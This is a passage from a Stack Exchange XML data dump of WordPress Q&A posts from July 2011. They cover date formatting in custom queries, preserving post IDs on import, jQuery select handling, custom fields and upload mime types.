$popularPosts = $wpdb-&amp;gt;get_results($queryStr);&#xA;&#xA;    if ($popularPosts) {&#xA;?&amp;gt;&#xA;    &amp;lt;table class=&quot;stats_table&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th&amp;gt;Post&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th&amp;gt;Author&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th&amp;gt;Posted At&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th&amp;gt;# comments&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;        foreach ($popularPosts as $popPost) {&#xA;?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&amp;lt;?= $popPost-&amp;gt;guid ?&amp;gt;&quot;&amp;gt;&amp;lt;?= $popPost-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;author ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;post_date ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;comment_count ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php           &#xA;        }&#xA;?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php&#xA;    } else {&#xA;        echo(&quot;&amp;lt;strong&amp;gt;No stories!&amp;lt;/strong&amp;gt;\n&quot;);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is obviously the line in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;post_date ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of different things but none of them quite get me there. This gets me the format that I'm after, but uses the wrong date (obviously $wpdb is not returning a timestamp in the query):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?= date('j M Y h:i A', $popPost-&amp;gt;post_date) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried a solution along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        global $popPost;&#xA;        foreach ($popularPosts as $popPost) {&#xA;            setup_postdata($popPost);&#xA;?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&amp;lt;?= $popPost-&amp;gt;guid ?&amp;gt;&quot;&amp;gt;&amp;lt;?= $popPost-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;author ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= the_time('j M Y h:i A') ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?= $popPost-&amp;gt;comment_count ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php           &#xA;        }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that simply repeats the timestamp for &lt;strong&gt;the page&lt;/strong&gt; over and over, rather than the timestamp for each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7264" LastActivityDate="2011-07-23T06:58:09.340" Title="Formatting a date/time returned from a custom $wpdb query" Tags="&lt;query&gt;&lt;wpdb&gt;&lt;formatting&gt;&lt;date&gt;" AnswerCount="1" />
  <row Id="23821" PostTypeId="1" CreationDate="2011-07-23T02:58:47.010" Score="1" ViewCount="37" Body="&lt;p&gt;I'm importing posts from a Joomla v1.5 site using &lt;a href=&quot;http://wordpress.org/extend/plugins/joomla-15-importer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/joomla-15-importer/&lt;/a&gt; (The goal is to clone the site in WordPress then switch off Joomla)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On both sites the permalink structure is /%category%/%post_id%-%postname%/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, when I import I am getting a different post ID in WordPress than existed in Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I change post ID manually in the DB after import? Aside from .htaccess file with a huge number of rules (one per article!) is there another workaround for this issue? Any comments/suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alastair.&lt;/p&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2011-07-23T08:33:12.040" Title="How to change Post ID during import" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="23822" PostTypeId="1" AcceptedAnswerId="23838" CreationDate="2011-07-23T03:15:11.933" Score="0" ViewCount="30" Body="&lt;p&gt;I'm newbie in wordpress. I want to implement a page like &lt;a href=&quot;http://wordpress.stackexchange.com/users&quot;&gt;http://wordpress.stackexchange.com/users&lt;/a&gt;&#xA;But no idea how to implement. The user listing, info, avatar,user search everything will same. any idea about the issue??? &lt;/p&gt;&#xA;" OwnerUserId="7265" LastActivityDate="2011-07-23T08:55:09.337" Title="Author page like wordpress answers" Tags="&lt;page&gt;&lt;user&gt;" AnswerCount="1" />
  <row Id="23823" PostTypeId="1" AcceptedAnswerId="23824" CreationDate="2011-07-23T03:48:52.223" Score="0" ViewCount="72" Body="&lt;p&gt;I have a custom post type for portfolio. To create one, you need to create a page with a particular template that i'm making, named page-portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, a portfolio post has custom fields as well. But, how can i make a custom field that is displayed in the post only if i select the 'portfolio' template ? That is, a custom field tied to the usage of the portfolio template ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-08-13T17:11:22.680" Title="Custom fields for custom post types" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="23824" PostTypeId="2" ParentId="23823" CreationDate="2011-07-23T05:23:41.490" Score="0" ViewCount="" Body="&lt;p&gt;This is confusing you're mixing up the terminology of WordPress. A custom post type acts like a &lt;em&gt;post&lt;/em&gt; and not a &lt;em&gt;page&lt;/em&gt;. If you have a custom post type called &quot;portfolio&quot; and use the proper template hierarchy, you don't have to do anything special. But you will need to name it &lt;code&gt;single-portfolio.php&lt;/code&gt; and not  &lt;code&gt;page-portfolio.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand, if you simply want to use &quot;page&quot; templates ( I think that is what you mean) you will need to write a conditional to display the post meta for only the &lt;code&gt;page-portfolio.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic is along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page_template('page-portfolio.php')) &#xA;the_meta();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your default page most likely already has &lt;code&gt;the_meta();&lt;/code&gt; though so you will most likely want to use &lt;code&gt;get_post_meta&lt;/code&gt; or &lt;code&gt;get_post_custom&lt;/code&gt; so you can have fields specific to your &quot;portfolio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. It's much easier to just use a custom post type (not a page template) for this sort of thing .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields#Function_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields#Function_Reference&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page_template&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_page_template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-23T05:35:20.893" LastActivityDate="2011-07-23T05:35:20.893" CommentCount="3" />
  <row Id="23825" PostTypeId="1" AcceptedAnswerId="23828" CreationDate="2011-07-23T05:31:06.720" Score="0" ViewCount="56" Body="&lt;p&gt;I have a bunch of options that I'd like the user to be able to change in bulk. Here's my code example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this option selection changes,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Default author&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select name='default_author' id='default_author' class=''&amp;gt;&#xA;    &amp;lt;option value='1'&amp;gt;user 1&amp;lt;/option&amp;gt;    &#xA;    &amp;lt;option value='5'&amp;gt;user 5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='4'&amp;gt;user 4&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='6'&amp;gt;user 6&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='2'&amp;gt;user 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These options below change too. The option selected is to match the one selected above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name='post_author[0]' id='post_author[0]' class=''&amp;gt;&#xA;    &amp;lt;option value='1'&amp;gt;user 1&amp;lt;/option&amp;gt;    &#xA;    &amp;lt;option value='5'&amp;gt;user 5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='4'&amp;gt;user 4&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='6'&amp;gt;user 6&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='2'&amp;gt;user 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;select name='post_author[1]' id='post_author[1]' class=''&amp;gt;&#xA;    &amp;lt;option value='1'&amp;gt;user 1&amp;lt;/option&amp;gt;    &#xA;    &amp;lt;option value='5'&amp;gt;user 5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='4'&amp;gt;user 4&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='6'&amp;gt;user 6&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='2'&amp;gt;user 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do this using jQuery. Before putting this into WordPress, I tested my code on a static HTML page and it works. But the moment I port it into WordPress it doesn't and I'm really at a loss. Here's what have in my .js file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA; jQuery(&quot;#default_author&quot;).change(function() {&#xA;   selected = jQuery('#default_author').val();&#xA; alert(selected);&#xA; });&#xA; jQuery(&quot;#default_author&quot;).change(function() {&#xA;   selected = jQuery('#default_author').val();&#xA;   jQuery(&quot;select[name^='post_author']&quot;).attr('selectedIndex',selected);&#xA; });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, there are 2 change functions in there because I wanted to see if I'm actually getting the value or not and I am. The alert gives me the right value. I've been up and down this for hours not familiar with jQuery, I'm surprised I got this far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;attr('selectedIndex', value)&lt;/code&gt; not work in WordPress? Using WP 3.2.1 by the way. Thank you so much for any help anyone can give me.&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2011-07-23T07:12:36.523" Title="Selecting multiple options onclick" Tags="&lt;jquery&gt;&lt;options&gt;&lt;select&gt;" AnswerCount="1" />
  <row Id="23826" PostTypeId="1" CreationDate="2011-07-23T06:10:09.480" Score="2" ViewCount="58" Body="&lt;p&gt;I saw a WP site that had users fill in their basic info and then it directed them to upload and Avatar. The site looked nice because most users had a picture even if they were'nt registered with Gravatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin for this local Avatar upload?&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-07-23T08:30:07.720" Title="Prompt users to Upload Avatar on Registration" Tags="&lt;avatar&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23827" PostTypeId="2" ParentId="23820" CreationDate="2011-07-23T06:58:09.340" Score="1" ViewCount="" Body="&lt;p&gt;A much simpler method to bypass these issues is using &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$popularQuery = array('orderby' =&amp;gt; 'comment_count', 'posts_per_page' =&amp;gt; '-1', 'author' =&amp;gt; 1);&#xA;$popularPosts = new WP_Query($popularQuery);&#xA;while($popularPosts-&amp;gt;have_posts()) : $popularPosts-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php the_time('j M Y h:i A') ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php comments_number(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note I've replaced your use of guid with the permalink. In some scenarios the guid of a post will not actually be the permalink, so this should never be assumed. The only exception to this is attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;&amp;lt;?=&lt;/code&gt; should be &lt;code&gt;&amp;lt;?php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-23T06:58:09.340" CommentCount="3" />
  <row Id="23828" PostTypeId="2" ParentId="23825" CreationDate="2011-07-23T07:12:36.523" Score="1" ViewCount="" Body="&lt;p&gt;this isn't a WordPress thing, just an issue with your JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;select[name^='post_author']&quot;).attr('selectedIndex',selected);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;select[name^='post_author']&quot;).val(selected).attr('selected','selected');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-23T07:12:36.523" CommentCount="3" />
  <row Id="23829" PostTypeId="1" AcceptedAnswerId="23830" CreationDate="2011-07-23T07:22:01.793" Score="0" ViewCount="67" Body="&lt;p&gt;I am a trying to create a dashboard like custom page template that list post of of the current logged in user. I've tried to find a solution on the net. but none were appropriate&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-07-23T08:26:13.883" Title="How to display posts by current user/author in a custom page template?" Tags="&lt;posts&gt;&lt;query-posts&gt;&lt;author&gt;&lt;get-posts&gt;&lt;listing&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23830" PostTypeId="2" ParentId="23829" CreationDate="2011-07-23T07:30:35.017" Score="2" ViewCount="" Body="&lt;p&gt;this should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ):&#xA;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    $author_query = array('posts_per_page' =&amp;gt; '-1','author' =&amp;gt; $current_user-&amp;gt;ID);&#xA;    $author_posts = new WP_Query($author_query);&#xA;    while($author_posts-&amp;gt;have_posts()) : $author_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;       &#xA;    &amp;lt;?php           &#xA;    endwhile;&#xA;&#xA;else :&#xA;&#xA;    echo &quot;not logged in&quot;;&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-23T08:26:13.883" LastActivityDate="2011-07-23T08:26:13.883" CommentCount="3" />
  <row Id="23831" PostTypeId="2" ParentId="1430" CreationDate="2011-07-23T07:37:17.107" Score="0" ViewCount="" Body="&lt;p&gt;One thing that occurred to me - WP will tell you that it can nto copy file to &lt;code&gt;/wp-content/upload&lt;/code&gt; even when all permissions are right.... if &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;upload_max_filesize&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;php.ini&lt;/code&gt; is too small (say 2M and you try to upload 3.5MB file)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps all thsoe who have right permissions but still can not upload!&lt;/p&gt;&#xA;" OwnerUserId="7269" LastActivityDate="2011-07-23T07:37:17.107" />
  <row Id="23832" PostTypeId="2" ParentId="3854" CreationDate="2011-07-23T07:45:24.637" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Add From Server&quot; plugin might do what you want. It can scan a folder of files on the server and copy those files to the Wordpress upload folder without having to go through the Media Uploader.&lt;/p&gt;&#xA;" OwnerUserId="7270" LastActivityDate="2011-07-23T07:45:24.637" />
  <row Id="23833" PostTypeId="1" CreationDate="2011-07-23T07:50:05.743" Score="0" ViewCount="26" Body="&lt;p&gt;I am trying to upload a excel file to wordpress, i am getting error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Specified file failed upload test.&quot;, .xls format file cannot be uploaded??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do get arround it?&lt;/p&gt;&#xA;" OwnerUserId="6237" LastActivityDate="2011-07-23T11:08:44.087" Title="Wordpress Specified file failed upload test" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;uploads&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23834" PostTypeId="2" ParentId="23826" CreationDate="2011-07-23T08:30:07.720" Score="1" ViewCount="" Body="&lt;p&gt;Try this plugin, it adds a upload avatar in the profile edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-avatar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-avatar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-07-23T08:30:07.720" CommentCount="3" />
  <row Id="23835" PostTypeId="2" ParentId="23821" CreationDate="2011-07-23T08:33:12.040" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; function in WP accepts special &lt;code&gt;import_id&lt;/code&gt; field in arguments and will try to use that ID, rather than automatically generating new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy to use when writing import code yourself, but I have no idea how easy would it be to with that plugin. You could try suggesting this as a feature to plugin's eveloper.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-23T08:33:12.040" />
  <row Id="23836" PostTypeId="2" ParentId="23810" CreationDate="2011-07-23T08:48:28.860" Score="0" ViewCount="" Body="&lt;p&gt;create a separate category/tag for that particular post you need, add or remove the tag/category if you need to add another post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts( 'tag=selected' ); or query_posts( 'cat=selected' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or query_posts( 'cat=featured&amp;amp;tag=selected' );&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-07-23T08:48:28.860" />
  <row Id="23837" PostTypeId="2" ParentId="7556" CreationDate="2011-07-23T08:52:10.683" Score="0" ViewCount="" Body="&lt;p&gt;I have used easy slider plugin myself and i am sure its what you needfor ur task &lt;a href=&quot;http://wordpress.org/extend/plugins/easing-slider/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/easing-slider/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can also try Nivo slider &lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-07-23T08:52:10.683" />
  <row Id="23838" PostTypeId="2" ParentId="23822" CreationDate="2011-07-23T08:55:09.337" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/members-list/&quot; rel=&quot;nofollow&quot;&gt;Members List Plugin&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Members Plugin allows you to create a post on your wordpress blog that lists all your wordpress members. When viewing the list of members you can also search through your members according to first name, last name, email address, URL or any other number of user meta fields you may specify. Employing pagination you can page through your search results and sort your results according to last name, first name, registration date, email or any other field you may specify&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm currently using it in a project and it works great.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-23T08:55:09.337" CommentCount="2" />
  <row Id="23839" PostTypeId="1" AcceptedAnswerId="23841" CreationDate="2011-07-23T09:10:14.470" Score="1" ViewCount="177" Body="&lt;p&gt;I've created a custom post type as a plugin and released it into the repository. One of the core features involves using a featured image. I've added &lt;code&gt;thumbnail&lt;/code&gt; to &lt;code&gt;$supports&lt;/code&gt; in &lt;code&gt;register_post_type()&lt;/code&gt;, so the meta box shows up in the Administration Panel. I'm also hooking into &lt;code&gt;after_setup_theme&lt;/code&gt; and calling &lt;code&gt;add_theme_support( 'post-thumbnails' )&lt;/code&gt;, but I don't think it's taking affect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The codex says &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;you have to call it from the theme's functions.php file&lt;/a&gt;, but if that's true then it'll only work if the user's theme calls &lt;code&gt;add_theme_support( 'post-thumbnails' )&lt;/code&gt; (which would cover &lt;em&gt;all&lt;/em&gt; post types. If the theme doesn't call it, or only calls it on a specific type, then it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone see a way around this problem?&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-24T22:44:17.430" LastActivityDate="2011-07-24T22:45:03.093" Title="Using add_theme_support inside a plugin" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="23840" PostTypeId="2" ParentId="23813" CreationDate="2011-07-23T09:32:31.287" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;user_contactmethods&lt;/code&gt; filter hook does not get called at the &lt;code&gt;user-new.php&lt;/code&gt; page so that wont work and sadly if you take a &lt;a href=&quot;http://svn.automattic.com/wordpress/tags/3.2.1/wp-admin/user-new.php&quot; rel=&quot;nofollow&quot;&gt;look at the source&lt;/a&gt; you will see that there is no hook that can be used to add extra fields to the add new user form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this can only be done by either modifying core files (BIG NO NO) or adding the fields using JavaScript or jQuery and catching the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can create a &lt;a href=&quot;http://codex.wordpress.org/Reporting_Bugs&quot; rel=&quot;nofollow&quot;&gt;Ticket at the Trac&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-23T09:38:01.733" LastActivityDate="2011-07-23T09:38:01.733" CommentCount="1" />
  <row Id="23841" PostTypeId="2" ParentId="23839" CreationDate="2011-07-23T10:19:21.083" Score="3" ViewCount="" Body="&lt;p&gt;There are comments in core code that this should be improved, but they are there for a while already. Basically there is no native function to add or remove &lt;em&gt;part&lt;/em&gt; of some feature, only feature altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it manually would be running something like this after theme is done (late on &lt;code&gt;after_setup_theme&lt;/code&gt; hook):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_thumbnails_for_cpt() {&#xA;&#xA;    global $_wp_theme_features;&#xA;&#xA;    if( empty($_wp_theme_features['post-thumbnails']) )&#xA;        $_wp_theme_features['post-thumbnails'] = array( array('your-cpt') );&#xA;&#xA;    elseif( true === $_wp_theme_features['post-thumbnails'])&#xA;        return;&#xA;&#xA;    elseif( is_array($_wp_theme_features['post-thumbnails'][0]) )&#xA;        $_wp_theme_features['post-thumbnails'][0][] = 'your-cpt';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-23T10:19:21.083" CommentCount="2" />
  <row Id="23842" PostTypeId="2" ParentId="23833" CreationDate="2011-07-23T11:08:44.087" Score="3" ViewCount="" Body="&lt;p&gt;You need to add the mime type to the whitelist of allowed file types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this one still works, you can go the plugin route using.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/pjw-mime-config/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pjw-mime-config/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you want to add your own mimes in code form, here's an example.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'upload_mimes', 'your_custom_mimes' );&#xA;function your_custom_mimes( $mimes ) {&#xA;    $mimes['extensionhere'] = 'mimetype/goes-here';&#xA;    return $mimes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a few helpful links to help with mime types.&lt;br&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_media_type&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Internet_media_type&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.webmaster-toolkit.com/mime-types.shtml&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-toolkit.com/mime-types.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-23T11:08:44.087" />
  <row Id="23843" PostTypeId="1" AcceptedAnswerId="24089" CreationDate="2011-07-23T11:18:53.943" Score="2" ViewCount="91" Body="&lt;p&gt;I'm having some trouble with a custom thing I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've implented a custom image uploader into a metabox in a custom post type.&#xA;Now I'm trying to work out a way that will let me reorder the uploaded images. I found that jQuery Sortable would be a convenient way for the user to be able to just drag and drop in which order the images should appear (in the frontend I'm using a jQuery image slider to show the images and the order of the images are decided by the attachment data &quot;menu_order&quot;, so therefor I need some sort of functionality that saves the menu_order that I create with the jQuery Sortable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this is a simplified example of what I have:&#xA;&lt;a href=&quot;http://jsfiddle.net/LN4sA/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/LN4sA/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Together with each attachment I have added hidden input fields with the attachment id and a field that will house the current position of the attachment in the menu order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ID of the attachment is easily fetched with basic WP PHP ($attachment-&gt;ID).&#xA;However, I have not yet found an easy way to populate the #att_order with the proper menu_order. So here I'd like some help/input if someone would be so kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the actual information I'm using ajax to pull the values from the input fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_attachment_position');&#xA;function save_attachment_position(){&#xA;    global $post;&#xA;    if ($post-&amp;gt;post_type == 'work') { ?&amp;gt;&#xA;        